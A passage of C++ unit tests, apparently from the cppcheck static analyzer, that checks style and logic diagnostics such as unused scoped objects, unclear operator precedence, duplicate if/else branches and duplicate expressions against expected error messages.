(f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" 